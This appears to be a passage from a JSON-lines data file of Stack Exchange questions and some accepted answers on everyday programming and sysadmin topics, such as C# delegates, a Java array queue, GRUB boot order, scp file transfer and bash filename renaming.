accepting states as$$F = \\{ (q_1,q_2) \\mid q_1 \\in Q_1 \\wedge q_2 \\notin Q_2 \\} $$"  } 
{  "id": "_softwareengineering.237657"  , "question": "Is it possible to implement generic routines in any language (C#, Java, etc). By generic routines I mean, in specific event Handlers. Lets say, I have 2 Buttons and 2 text boxes. One Button, when pressed, takes the first text box text and converts to Uppercase and second button prints the length of the string in the other text box. Now, Can I have a function as  button(type, textbox) {if(type==1)/*Convert to upper case*/else if(type==2)/*Print the length*/}The type takes any button as input and further processes it. I want to implement this because of redundancy in my code and I want to make my code portable to other languages. So that I need to modify only the syntax to make it work. Is it feasible?"  , "title": "Implementing Generic Routines"  , "tags": "programming practices"  , "accepted_answer": "Normally, this should be done by having one handler for each logic. void handleUppercase(object sender, EventArgs args){    // convert text to uppercase}void handleLength(object sender, EventArgs args){    // display length}// then assign those handlers properlybutton1.OnClick += handleUppercasebutton2.OnClick += handleLengthAlso, you are not going to have much luck changing code for different languages, because different languages use different UI frameworks. And there are too big differences between those frameworks to allow any kind of sharing. If you want to have same code in different languages, you have to make sure it doesn't depend on any specific framework. Which UI frameworks are.The case is quite different when you have same logic, but on different buttons with different parameters. In this case, you have 2 basic options.First is to use similar approach as Robert suggests:void handleUppercase(object sender, EventArgs args){    if (sender == buttonA) // do logic for first arguments    if (sender == buttonB) // do logic for second arguments}buttonA.OnClick += handleUppercasebuttonB.OnClick += handleUppercaseSecond option is to parametrize the handler itself. In OOP, that could be done if the handler was a Command. Simply create different instances of command with different parameters for each button. In functional way, you could use partial application. But because C# doesn't have this concept, you have to help yourself with lambdas:void handleUppercase(object sender, EventArgs evArgs, Argument arg){    // do logic for arg}buttonA.OnClick += (s, e) => { handleUppercase(s, e, arg1); }buttonB.OnClick += (s, e) => { handleUppercase(s, e, arg2); }"  } 
{  "id": "_webapps.79811"  , "question": "I'm trying to get the HLOOKUP function working in my sheet but it's not working like it should.The function is:=HLOOKUP(TEXT(NOW(), yyyy-MM-dd), INDIRECT(TEXT(NOW(), MMMM) & !B1:AE5), 3, FALSE) Translating the functions, that would be:=HLOOKUP(2015-07-01, July!B1:AE5, 3, FALSE)I get an error however:Did not find value '2015-07-01' in HLOOKUP evaluationThat doesn't make sense since '2015-07-01' is in cell B1 in the sheet, July.Why isn't it working and what can I do to fix it?Sheet"  , "title": "Using HLOOKUP for date values"  , "tags": "google spreadsheets"  } 
{  "id": "_softwareengineering.274877"  , "question": "I've got a program that validates it's input, and then errors.So far for each kind of error I created a new derived class. But this was getting pretty unwieldy (the input is complex so there are many possible errors) so instead I made the base more flexible and removed all the derived classes.The core resulting issue is that now when I test with certain invalid inputs, I'm not sure how to identify the correct error anymore. If the program produces an error on invalid input but it's the wrong one, how am I going to identify the correct error without effectively hardcoding internal error implementation details?Edit: I also intended to specify that the reason I went with a new derived class per error type is that I need dynamically extensible error types. Something like an enumeration would never be suitable."  , "title": "Testing generic errors"  , "tags": "testing;error handling"  } 
{  "id": "_unix.203222"  , "question": "I Have a list file File_Transfer_List.txt which contains list of file to do scpMy requirement is I need to do scp that files given in the list file and then delete the files from source location. I tried this :scp File_Name user@server:/destination && rm File_Name ;I am unable to test it, I don't have my scp ready to test it; can any one correct me if I am wrong."  , "title": "SCP and delete a files from source"  , "tags": "scp"  } 
{  "id": "_unix.334373"  , "question": "My Laptop has 3 Windows 7, and 2 Linux distributions, Ubuntu & Mint.When booting the Laptop, Grub would show up with Mint as my first option, Ubuntu as the second, and Windows EFI Bootloader as the third.When selecting the third option, a Windows bootloader would be prompted with my 3 options of Windows.Also, it's worth mentioning that I have both an SSD and a HDD and the operating systems and the boot info are installed in the SSD, in GPT format (not MBR anymore). Thus, the Windows are installed as EFI, whereas the Linuxes are not.Recently I removed my SSD and plugged another one, just to erase all data. I booted a live CD of Ubuntu and ran a Secure Wipe on the new SSD. Everything went smoothly. After that, I plugged my original SSD back. Interestingly, Windows bootloader was appearing first with the 3 options of Windows. To use Linux, I have to hit Esc, then the BIOS let me choose a device from the boot list,then I have to select the SSD device (Internal HDD: Crucial_...), and Ubuntu's grub version appears (The purple one, whereas the original was black & white which I installed from Mint)I figured the problem was in the BIOS that was booting Windows's bootloader first, so I checked itAs you can see, EFI appears at the top, apart from Boot Priority. Internal HDD: Crucial_... is correctly set at the top of Boot Priority, but somehow EFI is loading first. I cannot, through BIOS, set the EFI to a low priority.As everything was normal before, and I didn't change BIOS settings, I cannot understand what happened. Also, it's very curious that it seems to have affected my cookies. I use Google Chrome, and I had to re-login into my e-mail, facebook, etc accounts. As far as the computer is concerned, a device was replaced, and then replaced back in. No settings were changed by me, so what could have happened and how can I change things back to how they were before (grub booting first)?"  , "title": "How to make Grub boot before Windows bootloader?"  , "tags": "dual boot;grub;boot loader;uefi;bios"  } 
{  "id": "_webapps.95469"  , "question": "I have a Trello board with a list named TODO. I'd like to have the contents of my TODO list sent to me every morning through Slack - either automatically or by running a command, which I could then automate using another integration/bot.What's a good way to implement this?So far I've looked into:the Trello bot - allows you to display cards and boards, but not listsTrello Alerts - can't be polled on demandWorkbot - can only create Trello entities, not read them"  , "title": "Bot/command to display the contents of a Trello list?"  , "tags": "trello;slack"  } 
{  "id": "_codereview.40096"  , "question": "I have a (control engineering) controller. These controllers usually need several parameters to do their thing, and in my application it is desirable that these parameters can be changed while the controller is running - in a thread safe and well defined manner.I came up with this design (extremely simplified):// This is the class that the user instanciates.public class Controller{    public ControllerInfo Info { get; set; }    public void Start() { ... }    public void Stop() { ... }    private ControllerBody body = new ControllerBody();    private void ControllerThreadProc()    {        while (true)        {            var elapsedTime_ms = ...;            var currentInfo = this.Info;            // the actual calculation is done in another class            this.body.SingleStep(currentInfo, elapsedTime_ms);            Thread.Sleep(currentInfo.SampleTime_ms);        }    }}// This exists as a separate class so it is possible to test the// mathematical model without having to do it in real-time.public class ControllerBody{    public void SingleStep(ControllerInfo info, long elapsedTime_ms)    {        var referenceValue = info.ReferenceValueGetter();        var calculationResult = math;        info.ControlValueSetter(calculationResult);    }}// Immutable class that contains all the info necessary to do stuff.public class ControllerInfo{    public Func<double> ReferenceValueGetter { get; private set; }    public Action<double> ControlValueSetter { get; private set; }    public int SampleTime_ms { get; private set; }    public double SomeConstant { get; private set; }    public double OtherConstant { get; private set; }    ...    public ControllerInfo(/* 1 argument per property :( */) { /* many assignments */ }}Usage example:var controller = new Controller();controller.Info = new ControllerInfo(/* values */);controller.Start();// later:controller.Info = new ControllerInfo(/* new values */);// Application is done:controller.Stop();Again, it should be possible to change the controller while it is running. Therefore I gave Controller a publicly settable ControllerInfo.However, if the user decides to change the values of SomeConstant and OtherConstant in this example, it must be guaranteed that no calculation step is executed where only one of these are changed. In other words, changing a bunch of parameters must be an atomic operation. That's why ControllerInfo is not mutable.I have identified 2 downsides to this architecture:If I add another mathematical constant to ControllerInfo, I have to add (1) a property, (2) a parameter to the constructor (can be forgotten even if (1) has been done!), and (3) an assigment inside the constructor (can be forgotten even if (1) and (2) have been done!).If the user wants to change a parameter while the controller is running, they must make another tedious constructor call, passing in values that have changed, as well as values that haven't changed.To get around the usability problem, I considered introducing a ControllerInfoFactory class, which is basically a mutable copy of ControllerInfo:public class ControllerInfoFactory{    public (SamePropertiesAsControllerInfo) { get; set; }    public ControllerInfo CreateControllerInfo()    {        return new ControllerInfo(/* pass all parameters from this */);    }}However, that makes the first problem even worse: For each property, I now also have to add the property to ControllerInfoFactory. Luckily, this time it's not possible to forget updating the CreateControllerInfo method as long as the ControllerInfo constructor has already been updated.Now to code review:Does this design make sense? Is the usability OK?Can the large amount of repetitive code per property be reduced?"  , "title": "Allow changing the properties of a mutable controller in a thread safe way"  , "tags": "c#;thread safety;immutability"  } 
{  "id": "_unix.182129"  , "question": "I have a dual boot system (Win7 for my company) and (UBUNTU 14.10) .. My company is using Encryption for the image of Win7.After Win7 installation i installed UBUNTU 14.10 and i was able to boot both.My HDD is partitioned as follows:3 Primary partitions (c: for windows , D: , E: for data ) and 5 Logical partitions (3 data and 1 for Ubuntu and 1 for swap).Firstly, (N.B. Problem_1) I noticed that from Ubuntu i'm unable to mount any of the primary partitions, but i can normally mount the other logical ones.Secondly, (N.B. Problem_2) I decided to test Ubuntu Vivid 15.04 so i installed it on one of the logical partitions.After the installation i lost the Windows totally and i'm unable to boot to it, and from both Ubuntu versions, i'm unable to mount the primary partitions (ERROR: wrong fs type, bad option, bad superblock on /dev/sda1,   missing codepage or helper program, or other error )I used Boot Repair software on both Ubuntu versions, but none of them detected the Windows.During boot of Ubuntu Vivid, it shows error (TPM error) and I understood that it is related to TPM Chip that is implemented for the security on Bios, i logged in to BIOS and disabled TPM option then the error disappeared.I'm currently unable to boot from windows as it is not seen by Grub. And unable to mount the NTFS partition for windows.If i understand well, this could be related to the security option done by the company that is preventing accessing the primary partition if the HDD is used outside the laptop, but at least i should be able to mount it even as Read-only or to boot from it in parallel with other OSs especially that it was working before and that i also disabled TPM.Can anyone explain to me how to mount windows7 partition or to get its boot option back ?"  , "title": "Lost Win7 boot after installing UBUNTU Vivid"  , "tags": "ubuntu;mount;windows;dual boot;ntfs"  } 
{  "id": "_codereview.13359"  , "question": "I need to create a class with two properties:LogOutputExceptionOutputThese properties (of type Action) send a message or a exception depending on the target function. This target function is set via properties.Currently, I have the following code:public class Output{    private Action<string> logOutput;    private Action<Exception, string> exceptionOutput;    public Action<string> LogOutput     { set { this.logOutput = value; } get { return this.logOutput; } }    public Action<Exception, string> ExceptionOutput     { set { this.exceptionOutput = value; } get { return this.exceptionOutput; } }    public Output() : this(null, null) { }    public Output(Action<string> logAction, Action<Exception, string> exceptionAction)     {        this.logOutput = logAction;        this.exceptionOutput = exceptionAction;    }    public void WriteLogMessage(string format, params object[] args)     {        if (this.logOutput != null)        logOutput(string.Format(format, args));    }    public void WriteExceptionMessage(Exception ex, string format, params object[] args)     {        if (this.exceptionOutput != null)        exceptionOutput(ex, string.Format(format, args));    }}And this is my form code:private void MainForm_Load(object sender, EventArgs e){    Output myOutput = new Output();    myOutput.ExceptionOutput = this.WriteExceptionMessageToTextBox;    myOutput.LogOutput = this.WriteLogMessageToTextBox;    myOutput.WriteLogMessage(this is my log message to text box);    myOutput.WriteExceptionMessage(new Exception(this is my exception),         this is my exception message to text box);}private void WriteLogMessageToTextBox(string message){    if (this.txtBox.IsDisposed)    return;    if (this.InvokeRequired)    {        BeginInvoke(new MethodInvoker(delegate() { WriteLogMessageToTextBox(message); }));    }    else     {        this.txtBox.AppendText(message + Environment.NewLine);    }}private void WriteExceptionMessageToTextBox(Exception ex, string message){    if (this.txtBox.IsDisposed)    return;    if (this.InvokeRequired)    {        BeginInvoke(new MethodInvoker(            delegate() { WriteExceptionMessageToTextBox(ex, message); }));    }    else    {        string msg = ;        msg += string.Format(Program:{0}, message);        msg += string.Format(Message{0}, ex.Message);        msg += string.Format(StackTrace:{0}, ex.StackTrace);        msg += string.Format(Source:{0}, ex.Source);        this.txtBox.AppendText(msg + Environment.NewLine);    }}The thing is I don't know if this is correct (although it's working). If it's not correct, how can I change it? How can I implement it with events?"  , "title": "Is it correct to use delegates as properties?"  , "tags": "c#;delegates;properties"  , "accepted_answer": "Yes, I think this is reasonable code. If you want to set more delegates at the same time or unsubscribe a delegate, events would be more appropriate. But if you don't want to do that, delegate properties are fine.There are some things to think about though:The code you use to invoke the delegates is not thread-safe. If one thread called WriteLogMessage() and another thread set logOutput to null at the same time, you might get a NullReferenceException. The thread-safe version would be:var logOutputTmp = this.logOutput;if (logOutputTmp != null)    logOutputTmp(string.Format(format, args));Consider using automatic properties. They do the same thing as your code, only with less writing. Also, get accessor is usually written before the set accessor, but that's only a minor style issue.public Action<string> LogOutput { get; set; }Do you need the public setters and the parameterless constructor? If you expect that both delegates will be always set at construction, then it's better to make that clear and have only one constructor and no public setters."  } 
{  "id": "_computergraphics.2014"  , "question": "I am implementing a simple Phong shader in OpenGL GLSL, and the test object is the utah teapot. However on the bottom I get a solid red circle, and on the top there is are sharp sectors that are coloured incorrectly.Is there any way to fix these issues? What would be the issue in the first place?"  , "title": "Artefacts on top and bottom of utah teapot"  , "tags": "opengl"  } 
{  "id": "_codereview.64258"  , "question": "I've implemented the queue data structures using array in java. Anything I need to change in my code?Queue.javaimport java.util.Arrays;public class Queue<T> {    private int front;    private int rear;    int size;    T[] queue;    public Queue(int inSize) {        size = inSize;        queue = (T[]) new Object[size];        front = -1;        rear = -1;    }    public boolean isempty() {        return (front == -1 && rear == -1);    }    public void enQueue(T value) {        if ((rear+1)%size==front) {            throw new IllegalStateException(Queue is full);        } else if (isempty()) {            front++;            rear++;            queue[rear] = value;        } else {            rear=(rear+1)%size;            queue[rear] = value;        }    }    public T deQueue() {        T value = null;        if (isempty()) {            throw new IllegalStateException(Queue is empty, cant dequeue);        } else if (front == rear) {            value = queue[front];            front = -1;            rear = -1;        } else {            value = queue[front];            front=(front+1)%size;        }        return value;    }    @Override    public String toString() {        return Queue [front= + front + , rear= + rear + , size= + size                + , queue= + Arrays.toString(queue) + ];    }}QueueImpl.javapublic class QueueImpl {    public static <T> void main(String[] args) {        Queue newQueue = new Queue(5);        newQueue.enQueue(10);        newQueue.enQueue(20);        newQueue.enQueue(30);        newQueue.enQueue(40);        newQueue.enQueue(50);        System.out.println((T) newQueue.toString());        System.out.println((T) newQueue.deQueue().toString());        System.out.println((T) newQueue.deQueue().toString());        System.out.println((T) newQueue.toString());        newQueue.enQueue(60);        newQueue.enQueue(70);        System.out.println((T) newQueue.toString());        System.out.println((T) newQueue.deQueue().toString());        System.out.println((T) newQueue.deQueue().toString());        System.out.println((T) newQueue.deQueue().toString());        System.out.println((T) newQueue.deQueue().toString());        System.out.println((T) newQueue.deQueue().toString());        System.out.println((T) newQueue.toString());    }}"  , "title": "Array Implementation of Queue"  , "tags": "java;beginner;array;queue"  , "accepted_answer": "Your fields size and queue have package access, they need to be private so only your class can control them.private final int size;private final T[] queue;And because their values are known at initialization, its good practice to declare them final.your isempty method is not Camelcase, use isEmpty instead.Some validation on the size parameter is needed as well. if(size<=0){  throw new IllegalArgumentException(Size cannot be less than or equal to zero); }Something I love about the this keyword is that it helps you finding a name for your variables public Queue(int size) { // size is more relevant than inSize    if(size<=0){       throw new IllegalArgumentException(Size cannot be less than or equal to zero);    }    this.size = size;    queue = (T[]) new Object[size];    front = -1;    rear = -1;}"  } 
{  "id": "_unix.67969"  , "question": "I'm attempting to use Solaris 11's ILB to create a loadbalancer across two backend DNS servers.  Here's my requirements:Two external IPs: .XXX.YYY, .XXX.ZZZ - these are the DNS IP's that our clients hitTwo ILB boxes in a HA configuration over those two external IPsTwo backend DNS serversI'd like to have the two ILB boxes (ilb1 and ilb2) each load balance across the two DNS servers (ns1 and ns2) on two different incoming IPs.  I'd like ilb1 to be primary on .XXX.YYY and secondary on .XXX.ZZZ, and ilb to be the inverse of this.  This way, if either of the DNS servers or the ILB servers goes down, DNS requests should continue unimpacted.  However, we can't go Full NAT on this due to our requirements that the backend servers have to be able to see the actual SRC_IP of the DNS request - going full NAT makes it look to the DNS servers that all requests are coming from the ILB boxes, not the clients themselves.Going HALF-NAT will correctly maintain the SRC_IP of the DNS request, however that means that the packet now has to be routed through the ILB box that it was requested from, so that the correct IP is on the packet when it gets to the client, otherwise the client will throw it out (response from unexpected source and the like).  Here's the sticky issue – since there are two IPs, how do I reliably route the request back through the correct ILB box?  /etc/defaultrouter on the DNS boxes only lets you use 1 IP, so roughly half of our responses would be trashed.Is this setup possible?  Is my description clear as mud?"  , "title": "Solaris 11: How to use ILB to create HA loadbalancer across two backend servers?"  , "tags": "networking;solaris;routing;load balancing"  } 
{  "id": "_codereview.101091"  , "question": "I have some functionality that allows the user to create a Meter, which counts your gas, water, and electricity usage.A Meter has one or more Counter objects, which keeps track of your usage for a certain date via CounterReading.Once a Meter is created, you can edit it by adding a new Reading.This is the caller:Create:internal void CreateUtilityTransferButton_Click(Premise selectedPremise){    var printUtilitiesWindow = new TransferUtilitiesWindow();    if (selectedPremise != null)        printUtilitiesWindow.TransferUtilitiesWindowViewModel.SelectedTransferPremise = selectedPremise;    if (printUtilitiesWindow.ShowDialog() == true)    {        PdfFiller filler = new PdfFiller();        var documentType = printUtilitiesWindow.TransferUtilitiesWindowViewModel.DocumentType;        try        {            switch (documentType)            {                case UtilityDocumentType.Transfer:                    filler.Fill(printUtilitiesWindow.TransferUtilitiesWindowViewModel.Transfer);                    break;                case UtilityDocumentType.Connection:                    filler.Fill(printUtilitiesWindow.TransferUtilitiesWindowViewModel.Connection);                    break;                case UtilityDocumentType.Water:                    filler.Fill(printUtilitiesWindow.TransferUtilitiesWindowViewModel.Water);                    break;                default:                    throw new ArgumentException(Verkeerd documenttype gekozen);            }        }        catch (ArgumentException e)        {            var popup = new ErrorMessage(e);            popup.ShowDialog();        }    }}Edit:internal void EditMeterButton_Click(Meter _meter){    if (_meter == null)        return;    var premise = _meter.Premise;    var createMeterWindow = new CreateMeterWindow(_meter);    if (createMeterWindow.ShowDialog() == true)    {        var meter = createMeterWindow.CreateMeterViewModel.Meter;        meter.AddReading(createMeterWindow.CreateMeterViewModel.NewReading);        if (meter is DoubleElectricityMeter)        {            var doubleElectricityMeter = meter as DoubleElectricityMeter;            doubleElectricityMeter.CounterNight.Readings.Add(createMeterWindow.CreateMeterViewModel.NewNightReading);        }        VivendaContext.SaveChanges();    }}This is my codebehind:public partial class CreateMeterWindow : Window{    private CreateMeterViewModel _CreateMeterViewModel;    public CreateMeterViewModel CreateMeterViewModel    {        get        {            return _CreateMeterViewModel;        }    }            public CreateMeterWindow()    {        _CreateMeterViewModel = new CreateMeterViewModel(this);        InitializeComponent();        DataContext = _CreateMeterViewModel;    }    public CreateMeterWindow(Meter meter)    {        _CreateMeterViewModel = new CreateMeterViewModel(this, meter);        InitializeComponent();        DataContext = _CreateMeterViewModel;    }    private void OkButton_Click(object sender, RoutedEventArgs e)    {        _CreateMeterViewModel.OkButton_Click();    }    private void CancelButton_Click(object sender, RoutedEventArgs e)    {        _CreateMeterViewModel.CancelButton_Click();    }    private void ComboBox_SelectionChanged(object sender, System.Windows.Controls.SelectionChangedEventArgs e)    {        _CreateMeterViewModel.ComboBox_SelectionChanged();    }}The viewmodel:public class CreateMeterViewModel : INotifyPropertyChanged{    private Window _Window;    private Meter _Meter;    private CounterReading _Reading;    private CounterReading _NightReading;    private MeterType _MeterType;    private Visibility _isDoubleMeterVisibleVisible = Visibility.Hidden;    public Premise Premise { get; set; }    public Meter Meter    {        get        {            if (_Meter == null)            {            }            return _Meter;        }        set        {            _Meter = value;            NotifyPropertyChanged(Meter);        }    }    public CounterReading Reading    {        get        {            if (_Reading == null)            {                _Reading = new CounterReading();            }            return _Reading;        }        set        {            _Reading = value;            NotifyPropertyChanged(Reading);        }    }    public CounterReading NightReading    {        get        {            if (_NightReading == null)            {                _NightReading = new CounterReading();            }            return _NightReading;        }        set        {            _NightReading = value;            NotifyPropertyChanged(NightReading);        }    }    public MeterType MeterType    {        get        {            return _MeterType;        }        set        {            _MeterType = value;            NotifyPropertyChanged(MeterType);        }    }    public Visibility IsDoubleMeterVisible    {        get        {            return _isDoubleMeterVisibleVisible;        }        set        {            _isDoubleMeterVisibleVisible = value;            NotifyPropertyChanged(IsDoubleMeterVisible);        }    }    private bool _isEdit = false;    public bool IsEdit    {        get { return _isEdit; }        set { _isEdit = value; }    }    //Used for enabling / disabling controls.    public bool IsNotEdit    {        get        {            return !IsEdit;        }    }    public bool IsNightEdit    {        get { return _isEdit && (_Meter is DoubleElectricityMeter); }    }    private CounterReading _NewReading;    public CounterReading NewReading    {        get        {            if (_NewReading == null)            {                _NewReading = new CounterReading();            }            return _NewReading;        }        set { _NewReading = value; }    }    private CounterReading _NewNightReading;    public CounterReading NewNightReading    {        get        {            if (_NewNightReading == null)            {                _NewNightReading = new CounterReading();            }            return _NewNightReading;        }        set { _NewNightReading = value; }    }    public CreateMeterViewModel(Window window)    {        _Window = window;    }    public CreateMeterViewModel(Window window, Meter meter)        : this(window)    {        IsEdit = true; // This is only called when we already have a created meter.        _Meter = meter;        _MeterType = meter.Type;        Premise = meter.Premise;        _Reading = meter.Counter.CurrentReading;        IsDoubleMeterVisible = _Meter is DoubleElectricityMeter ? Visibility.Visible : Visibility.Hidden;        if (_Meter is DoubleElectricityMeter)        {            _NightReading = (meter as DoubleElectricityMeter).CounterNight.CurrentReading;        }    }    internal void CancelButton_Click()    {        _Window.DialogResult = false;        _Window.Close();    }    internal void OkButton_Click()    {        _Window.DialogResult = true;        _Window.Close();    }    internal void ComboBox_SelectionChanged()    {        if (IsEdit)        {            return;        }        if (_MeterType != MeterType.Unknown)        {            var eanNumber = _Meter == null ?  : _Meter.EANNumber;            var meterNumber = _Meter == null ?  : _Meter.MeterNumber;            CreateMeter();            if (Meter != null) Meter.EANNumber = eanNumber;            if (Meter != null) Meter.MeterNumber = meterNumber;            NotifyPropertyChanged(Meter);            IsDoubleMeterVisible = _Meter is DoubleElectricityMeter ? Visibility.Visible : Visibility.Hidden;        }        else        {            Meter = null;        }    }    public event PropertyChangedEventHandler PropertyChanged;    public void NotifyPropertyChanged(String info)    {        if (PropertyChanged != null)        {            PropertyChanged(this, new PropertyChangedEventArgs(info));        }    }    private void CreateMeter()    {        if (_MeterType != MeterType.Unknown)        {            try            {                _Meter = MeterFactory.Create(Premise, _MeterType);            }            catch (MeterTypeAlreadyExistsException e)            {                MeterType = MeterType.Unknown;                var popup = new ErrorMessage(e);                popup.ShowDialog();            }        }    }}Please keep in mind this is my first serious C# / WPF project, so I'd appreciate any remarks or suggestions."  , "title": "Creating and Editing a UtilityMeter"  , "tags": "c#;.net;wpf"  } 
{  "id": "_cs.69056"  , "question": "For example, lets consider the simplest model of cipher: the Caesar cipher. According to the theory I read the Caesar cipher consist in substitute a letter by another in considering a shift in an alphabet given by a certain number.I know that a Turing machine consist of: a tape, a header that writes or reads information from that tape, and a set of states that consist in moving to the left or right on the tape. Also the initial state and the final state and reject states.So if I would like to make a TM that accept the Caesar cipher I suppose that the information that would be on the tape, for example, the message hello, that I want to convert to a cipher text by a shift of n=3 in each character so I will get the word khoor.Because I need to put that message on a TM tape I guess that I can convert it into a binary string, would that be necessary or can I work with original characters?For example if my TM tape look like this (I am supposing that h is 0011 and that k is 1010 for example):|0|0|1|1|e|e|e|e|where e is the empty character and the header is in the leftmost position pointing to 0, so if I want to convert this h into k I can read one by one each binary digit (from left to right), converting into its corresponding binary digit to the converted letter and writing it in some beginning position at the right. Would that be ok? So I will have something like:|e|0|1|1|e|1|e|e|After the first iteration, I have read the leftmost digit, 0, changed into 1 and then copy it after the empty position. I can do the same with all the remaining digits.Would that approach be good enough, in this case, to simulate the Caesar cipher in a TM, and also if I want to decipher the converted text can I do a similar process?Bottomline, maybe somebody could show a model for a Caesar cipher using a TM?Thanks for your help."  , "title": "how to make a Turing machine of a cipher?"  , "tags": "turing machines"  } 
{  "id": "_webapps.50250"  , "question": "As of today, I find that Google has changed its interface for filtering searched results to be from a certain language (such as Chinese).  I can't find a way to do that. Can you please help?"  , "title": "How to search results from certain language in Google?"  , "tags": "google search;localization"  , "accepted_answer": "Open the settings menu by clicking the Gear icon (upper right). Choose Languages.Beneath the setting for the Google products language interface is a heading for Currently showing search results in: with your current language and an Edit link.Click the Edit link. You should now see a long list of languages. Check the checkboxes against the languages you want to see results from, uncheck those you don't."  } 
{  "id": "_codereview.122699"  , "question": "I came up with an extension method to find a Cartesian product of multiple IEnumerable sets. I was able to achieve lazy enumeration via yield return, but I didn't think of a way to do it non-recursively. The result ended up being a recursive lazy enumeration iterator method, the first of its kind! At least as far as I've ever written.The idea of the problem came from a Stack Overflow question where a guy had many sets of characters, and wanted to generate a combination of all of them. Now I'm just interested because it's a fun problem!I'd appreciate any kind of review, although here's two specific things I'm most interested in:Can this algorithm can be de-recursed? If so - should it be, and how?Is there some way it could be generalized even more, beyond what I've done?public static class MultiCartesianExtension{    public static IEnumerable<TInput[]> MultiCartesian<TInput>(this IEnumerable<IEnumerable<TInput>> input)    {        return input.MultiCartesian(x => x);    }    public static IEnumerable<TOutput> MultiCartesian<TInput, TOutput>(this IEnumerable<IEnumerable<TInput>> input, Func<TInput[], TOutput> selector)    {        // Materializing here to avoid multiple enumerations.        var inputList = input.ToList();        var buffer = new TInput[inputList.Count];        var results = MultiCartesianInner(inputList, buffer, 0);        var transformed = results.Select(selector);        return transformed;    }    private static IEnumerable<TInput[]> MultiCartesianInner<TInput>(IList<IEnumerable<TInput>> input, TInput[] buffer, int depth)    {        foreach (var current in input[depth])        {            buffer[depth] = current;            if (depth == buffer.Length - 1)            {                // This is to ensure usage safety - the original buffer                // needs to remain unmodified to ensure a correct sequence.                var bufferCopy = (TInput[])buffer.Clone();                yield return bufferCopy;            }            else            {                // Funky recursion here                foreach (var a in MultiCartesianInner(input, buffer, depth + 1))                {                    yield return a;                }            }        }    }}Usage:var input = new string[]{    AB,    123,    @#,};foreach (var result in input.MultiCartesian(x => new string(x))){    Console.WriteLine(result);}// Results:// A1@// A1#// A2@// A2#// A3@// A3#// B1@// B1#// B2@// B2#// B3@// B3#"  , "title": "Finding a Cartesian product of multiple lists"  , "tags": "c#;algorithm;recursion;iterator;lazy"  } 
{  "id": "_webapps.57152"  , "question": "When I first open Gmail and my inbox loads there is a long blue line to the left of the top email. This disappears after I have opened an email and gone back to the Inbox. Has anyone heard of this issue or know a solution?"  , "title": "Gmail blue bar issue"  , "tags": "gmail"  } 
{  "id": "_webmaster.19525"  , "question": "I am using Opencart 1.5.1 but have a theme made for 1.4.9.The following template code won't work with 1.5.1:<?php foreach ($modules as $module) { ?>      <?php echo $module; ?><?php } ?>Undefined variable: modules.  Invalid argument supplied for foreach().What do I replace it with to work in 1.5.1?"  , "title": "OpenCart template $module code"  , "tags": "php;theme;opencart"  , "accepted_answer": "Is modules defined? Do you know if you have modules set to show where that code is in the template?You can do this:<?php     if($modules){        foreach ($modules as $module) {          echo $module;        }    }?>This way if $modules is not set to anything, it ignores the foreach loop."  } 
{  "id": "_softwareengineering.329812"  , "question": "I have found several documents about statement and decision/branch coverage in testing, but these terms aren't clear for me.There are two types of this problems, that you can see below.Code:    if(a || b)) {    test1 = true;    }    else {        if(c) {        test2 = true        }    }}Text:Consider the following: Pick up and read the newspaper Look at what is  on television If there is a program that you are interested in  watching then switch the television on and watch the program Otherwise  Continue reading the newspaper If there is a crossword in the  newspaper then try and complete the crosswordCould you please best practices, how to found out sc and dc values in an easy way? I can't some exact methodology behind these values."  , "title": "Test coverage measurements"  , "tags": "testing;methodology;test coverage"  , "accepted_answer": "Test coverage indicates if all code paths are being covered.So, in your example above you have 3 paths or outcomes:test1 is set to truetest2 is set to trueNeither test1 and test2 are set to trueSo, you only need 3 tests to cover the code paths/outcomes.But we have 3 data points, a,b,c.  Let's say these are Boolean values so we would need 2 to the 3rd power or 8 tests to test all possible scenarios.So, if you wrote 1 test you would cover 33% of the code and 12.5% percent of all possibilities.For complex programs covering all possibilities is not very feasible from a time and effort standpoint so there are tools to measure code coverage (how much code are your tests are covering).  But one should strive for good code coverage so that all system behavior is tested.  Covering all possibilities is usually not feasible because of combinational explosion."  } 
{  "id": "_cs.14416"  , "question": "If the running time of an algorithm scales linearly with the size of its input, we say it has $O(N)$ complexity, where we understand N to represent input size.If the running time does not vary with input size, we say it's $O(1)$, which is essentially saying it varies proportionally to 1; i.e., doesn't vary at all (because 1 is constant).Of course, 1 is not the only constant. Any number could have been used there, right? (Incidentally, I think this is related to the common mistake many CS students make, thinking $O(2N)$ is any different from $O(N)$.)It seems to me that 1 was a sensible choice. Still, I'm curious if there is more to the etymology therewhy not $O(0)$, for example, or $O(C)$ where $C$ stands for constant? Is there a story there, or was it just an arbitrary choice that has never really been questioned?"  , "title": "Why is it O(1) (and not, say, O(2))?"  , "tags": "terminology;asymptotics;landau notation"  } 
{  "id": "_softwareengineering.163981"  , "question": "I want to be able to call javac <class file name>, and then automatically run java on the compiled .class file.I thought initially to use a x86 disassembler to hack it (javac.exe) but bumped that idea; I then found the open source code for JDK, and concluded that maybe a batch file would be easier. How can I do this?"  , "title": "Have javac call automatically run java"  , "tags": "java;interpreters;compiling"  } 
{  "id": "_unix.148060"  , "question": "I have Linux mint installed on my system as primary partition.I want to install windows 8 along side with it (Dual boot).But when I try to install windows 8 installer says (windows can only be install Primary partition).I have only 1 primary partition in which Linux is running, other are extended or logical ones.I want to use my last Partition (Label : Apps) for installing Windows.Can I convert a logical partition to primary or any other better suggestion?"  , "title": "Windows installer complains that it can only be installed on a primary partition"  , "tags": "linux mint;partition;windows;system installation"  } 
{  "id": "_unix.263265"  , "question": "Is there a way I could eliminate the last four characters with regex in the below one line script as I convert .wav files into .mp3 files. As of right now my single line script produces files ending in .wav.mp3for i in *.wav; do avconv -i $i $i.mp3;done Produces the below output    Sanctify, Separate, & Success Success.wav.mp3    There four types of love.wav.mp3    Theres too much love to let you fail.wav.mp3"  , "title": "regex to remove last four characters"  , "tags": "shell script;scripting;regular expression;for"  , "accepted_answer": "You don't want a regex, you want to use Bash's parameter expansion to remove the file extension in transit:for i in *.wav; do avconv -i $i ${i%.*}.mp3; doneHere, ${i%.*} is expanded as the pattern at the end of the parameter, as defined by everything (*) after the . deleting the shortest match, ie., .wav.You could also do a literal substitution with ${i/.wav/.mp3}."  } 
